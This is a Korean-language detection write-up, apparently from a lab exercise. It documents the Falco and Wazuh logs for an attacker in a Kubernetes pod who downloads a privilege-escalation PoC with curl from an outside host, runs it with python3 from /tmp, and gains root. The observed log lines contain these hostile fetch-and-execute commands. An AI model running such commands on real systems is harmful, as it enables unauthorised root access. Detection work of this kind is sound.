FL-003 Falco Copy Fail Log
공격 행위 요약
FL-003은 NodeFall 캠페인에서 공격자가 장악한 Pod 내부에서 Copy Fail PoC를 다운로드하고 실행해 컨테이너 내부 root 권한을 획득하는 행위를 설명하는 로그이다. 공격자는 /tmp 경로에 PoC 파일을 생성한 뒤 python3 /tmp/exp.py 형태로 실행하여 제한된 컨테이너 사용자 권한을 root로 상승시켰다.
이 로그의 핵심은 단순한 파일 다운로드가 아니라, 외부에서 가져온 스크립트가 컨테이너 내부 임시 경로에 저장되고 곧바로 실행되며 권한 상승 흐름으로 이어졌다는 점이다. curl을 통한 PoC 다운로드, /tmp/exp.py 생성, python3 실행, root shell 획득 흐름이 함께 관찰되면 컨테이너 내부 권한 상승 단계의 주요 증거로 볼 수 있다.
로그 발생 위치
| 구분 | 위치 | 설명 |
| K8s Node | Linux Kernel syscall | 컨테이너 내부에서 curl, python3, sh 등의 프로세스 실행과 /tmp/exp.py 파일 생성 행위가 syscall로 발생 |
| K8s Node | falco-modern-bpf.service | Falco가 syscall을 관찰하고 PoC 다운로드/실행 또는 root 권한 획득 행위와 매칭되면 탐지 이벤트 생성 |
| K8s Node | journalctl -u falco-modern-bpf.service | Falco 탐지 이벤트가 systemd journal에 기록되는 대표 확인 위치 |
수집 방식
| 구분 | 방식 |
| Falco | eBPF/driver를 통해 Linux Kernel syscall을 관찰하고, Falco rule의 condition과 매칭되면 output 형식의 탐지 이벤트를 생성 |
| journald | Falco가 생성한 탐지 이벤트를 falco-modern-bpf.service의 systemd journal 로그로 기록 |
| Wazuh agent | /var/ossec/etc/ossec.conf의 journald 수집 설정을 통해 Falco 서비스 로그를 수집 |
| Wazuh manager | 수집된 Falco 로그를 /var/ossec/etc/rules/local_rules.xml의 룰과 매칭하여 Wazuh alert로 변환 |
| Wazuh Dashboard | 생성된 Wazuh alert를 분석자가 확인할 수 있는 대시보드 이벤트로 표시 |
로그 출력 명령어
sudo journalctl -u falco-modern-bpf.service --no-pager \ | grep -E "\[NF3\] Exploit Download|\[NF3\] Exploit Execute|\[NF3\] Root Gained"
실제 관측 로그
May 22 04:11:21 ip-10-0-133-48 falco[24039]: 04:11:21.026825453: Warning [NF3] Exploit Download (container=react-app file=<NA>
proc=curl https://copy.fail/exp pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 22 04:11:26 ip-10-0-133-48 falco[24039]: 04:11:26.085784977: Critical [NF3] Exploit Execute (container=react-app
proc=python3 /tmp/exp.py pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 22 04:11:26 ip-10-0-133-48 falco[24039]: 04:11:26.142579220: Critical [NF3] Root Gained (container=react-app user=root proc=sh pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app
container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
주요 필드
| 필드 | 의미 | 예시 |
evt.time | Falco 탐지 이벤트 발생 시간 | 04:11:21.026825453, 04:11:26.085784977, 04:11:26.142579220 |
priority | Falco 탐지 심각도 | Warning, Critical |
rule/message | Falco가 탐지한 행위명 | [NF3] Exploit Download, [NF3] Exploit Execute, [NF3] Root Gained |
user | 행위를 수행한 사용자 | root |
proc | 실행된 프로세스 또는 명령 | curl https://copy.fail/exp, python3 /tmp/exp.py, sh |
cmd | 실행된 명령어 또는 인자 | curl https://copy.fail/exp, python3 /tmp/exp.py |
file | 생성 또는 실행된 파일 | /tmp/exp.py, <NA> |
container_name | 행위가 발생한 컨테이너 이름 | react-app |
container_id | 컨테이너 식별자 | 283cb33c1045 |
container_image_repository | 컨테이너 이미지 저장소 | docker.io/library/react2shell-vulnlab-hi-react2shell-tribune |
container_image_tag | 컨테이너 이미지 태그 | latest |
k8s_pod_name | 행위가 발생한 Kubernetes Pod | react-app-685875587f-hv72r |
k8s_ns_name | Pod가 속한 namespace | default |
message | journald에 기록된 Falco 원본 로그 | Warning [NF3] Exploit Download ..., Critical [NF3] Exploit Execute ..., Critical [NF3] Root Gained ... |
커버 대상 Techniques Used
| Technique | Mapping Reason |
| T1068 Exploitation for Privilege Escalation | 장악한 Pod 내부에서 Copy Fail PoC를 다운로드하고 python3로 실행하여 컨테이너 내부 사용자 권한을 root로 상승시키는 행위를 탐지한다. |
탐지 포인트
| Technique | 관찰 행위 | 주요 필드 |
| T1068 Exploitation for Privilege Escalation | 장악한 컨테이너 내부에서 외부 URL을 통해 Copy Fail PoC가 다운로드되는지 확인한다. 단순 curl 실행이 아니라 /tmp/exp.py와 같은 임시 경로에 권한 상승용 스크립트가 저장되는 흐름을 함께 본다. | rule/message, user, proc, cmd, cwd, file, container_name, k8s_pod_name, k8s_ns_name |
| T1068 Exploitation for Privilege Escalation | 다운로드된 PoC가 python3 /tmp/exp.py 형태로 실행되는지 확인한다. 이는 외부에서 가져온 코드가 실제 권한 상승 시도로 이어졌는지를 판단하는 핵심 구간이다. | rule/message, proc, cmd, user, container_id, container_name, k8s_pod_name, k8s_ns_name |
| T1068 Exploitation for Privilege Escalation | PoC 실행 이후 컨테이너 내부에서 root 권한 셸이 획득되었는지 확인한다. 기존 nextjs 사용자 권한에서 uid=0(root) 흐름으로 전환되면 권한 상승 성공 흔적으로 볼 수 있다. | rule/message, user, user_uid, proc, cmd, container_name, k8s_pod_name, k8s_ns_name, message |